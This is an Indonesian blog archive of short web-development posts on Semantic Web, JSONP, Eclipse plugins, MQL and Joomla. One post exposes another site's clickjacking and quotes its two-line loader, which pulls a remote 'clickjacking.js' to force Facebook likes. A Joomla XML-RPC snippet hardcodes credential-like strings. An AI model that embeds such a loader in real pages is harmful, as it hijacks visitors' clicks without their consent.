Archive for the ‘ Web ’ Category

Buku Semantic Web dan Linked Data

Sudah lama memang saya tidak posting di blog ini 😀

Saya memang sedang konsentrasi dengan publikasi buku dan penelitian plus tentunya sibuk dengan krucil-krucil saya.

Alhamdulillah buku pertama saya yang berjudul Semantic Web dan Linked Data sudah terbit

Semantic Web dan Linked Data

Buku ini diawali dengan menerangkan perkembangan web dari masa ke masa hingga munculah teknologi semantic web. Setelah itu selangkah demi selangkah, buku ini menjelaskan bagaimana merubah data dalam bentuk tabel ke data dalam bentuk yang disepakati dalam semantic web. Selain itu, pembuatan skema data hingga penyimpannya akan diterangkan selanjutnya. Pada akhirnya, buku ini menjelaskan cara mengakses data tersebut dengan SPARQL Buku ini ditujukan untuk mereka yang sudah mempunyai dasar-
dasar pengetahuan tentang web dan basis data.

Harga buku ini cukup 20rb saja (belum termasuk Ongkir). Tebal 108 halaman. Belum dijual secara bebas di toko buku.

 

[Hacking]Kecurangan AksiWebId

Dear Developer www dot Aksi dot web dot id, saya mohon hentikan dengan sangat KECURANGAN anda dengan melakukan otomatisasi FB like ketika pengunjung datang ke salah satu postingan anda hanya untuk membuat web anda populer di facebook. Saya bisa melaporkan ini ke pihak FB. Berikut kode buatan anda yang mebuat semua orang secara otomatis me-LIKE web anda :

<script>window.DO_CLICKJACKING = 1</script>
<script src="http://dhanee7ruh.googlecode.com/files/clickjacking.js"></script>

Baca lebih lanjut

JSONP

Udah pernah memakai JSONP ? JSONP adalah kepanjangan dari JSON with Padding. Bisa dikatakan sebagai JSOn jarak jauh begitu. Dimana kita menambah script di header atau di body yang sebelumnya tidak ada source aslinya( semacam injection ). JSONP memiliki callback function yang terletak di klien.
contoh :
misalnya kita punya file aini.html yang mempunya script java script dibagian HEAD tag sbb :

function loadJSON()
{
var url = 'tes.json?format=json&jsoncallback=iin';
var script = document.createElement("script");
script.setAttribute("src", url);
script.setAttribute("type", "text/javascript");
document.body.appendChild(script);
}
function iin(data)
{
alert(data.alamat);
}

kemudian dibagian BODY kita tambahkan parameter onload sbb :

onload="loadJSON();"

sekarang kita buat file tes.json

iin({nama: 'Nur Aini', alamat: 'hazel park,Galway'});

Jika file aini.html dipanggil dari browser, maka akan tampil seperti ini

Jika kita mencoba membuka memakai firebug atau debugger javascript lainnya, maka akan terlihat tambahan kode dibawah ini :


jsonphandler({nama: 'Nur Aini', alamat: 'hazel park,Galway'});

Happy coding all ….

EasyEclipse untuk JavaScript

Pemograman JavaScript memang sedang berkembang pesat. Berbagai library baru bertebaran. Namun terkadang library tersebut susah untuk dibaca 😦 Sebagai pengguna barang-barang open source (I love you OSS !), akhirnya saya temukan pasangan bagus untuk melakukan koding PHP dan JavaScript yaitu EasyEclipse LAMP dengan JSEclipse.
Bagaimana instalasinya ? Sama dengan plugin easyeclipse atau eclipse lainnya :

  1. Pergi ke menu Help > Software Updates ->Find and Install
  2. Pilih Search for new features to install
  3. Klik New Remote Site button
  4. Isi Name: JSEclipse.
    dan URL: http://download.macromedia.com/pub/labs/jseclipse/autoinstall/
  5. Centang newly added entry’s checkbox
  6. Klik Finish
  7. Pilih fitur yang diinstall, klik Next
  8. Keluarlah Lisensi. Pilih I Accept 😀
  9. Next dan Finish
  10. Keluarlah dialog instalasi berhasil dan restart EasyEclipsenya.

Namun pada saat instalasi pertama langkah ke 5 saya menemukan error :
Aptana RadRails (0.8.0.200707021211) requires plug-in “com.aptana.ide.core” 
untuk itu anda harus disable RadRails dari menu Help->Manage Configuration
Ulangi langkah instalasi mulai dari pertama.
Jika setelah instalasi selesai, dan masih terjadi error saat file javascript dibuka, seperti gambar dibawah ini

Baca lebih lanjut

Metaweb Query Languange

Yuk kita mulai main-main lagi di dunia web. Kali ini saya coba mengulas Metaweb Query Languange alias MQL. Apa itu ? Sedikit cerita, Metaweb adalah perusahaan yang memaintence FreeBase semacam wikipedia yang mendukung semantic web. Metaweb menyediakan API untuk melakukan query yang sering disebut dengan MQL. MQL ini semacam JSON object yang dapat dikirimkan lewat URL kemudian hasilnya pun dikembalikan dalam bentuk JSON.
Sebagai contoh :
{
  “type”:“/location/country”,
  “name”:“indonesia”,“capital”:[]
}
yang artinya carilah ibukota (capital) dari indonesia dalam database /location/country
akan mendapatkan hasil seperti ini :
{
  “code”:          “/api/status/ok”,
  “result”: {
    “capital”: [
      “Jakarta”
    ],
    “name”: “Indonesia”,
    “type”: “/location/country”
  },
  “status”:        “200 OK”,
  “transaction_id”: “cache;cache02.p01.sjc1:8101;2009-08-25T10:49:01Z;0008”
} Baca lebih lanjut

XMLRPC di Joomla

Joomla mengggunakan library phpxmlrpc untuk menjalankan xmlrpc.
Let’s take a look how we inject some xmlrpc codes.   

          jimport('phpxmlrpc.xmlrpc');
                $host=$config->get('10.126.100.100');
                $path=$config->get('/xmlrpc.php');
                $client=new xmlrpc_client($path, $host, 80);
                $method=new xmlrpcmsg('nusaview.tambahData',
                array(
                new xmlrpcval('aini',"string"),
                new xmlrpcval('rahasialoh',"string"),
                new xmlrpcval('lala',"string"),
                new xmlrpcval('lili',"string"),
                ));
                $r=$client->send($method);
               if($r)
               echo "jalan";

Java Script Di Joomla

Bagaimana cara memasukkan javascript sendiri ke dalam halaman Joomla ?
Alhamdulillah cukup sederhana saja.

Berikut saya berikan contoh bagaimana memasukkan javascriptnya Google Map ke sebuah halaman Joomla.

$document =& JFactory::getDocument();
$javascript='http://static.simile.mit.edu/exhibit/extensions-2.0/map/map-extension.js?gmapkey=xxx';
$document->addScript($javascript);

Semoga membantu 😉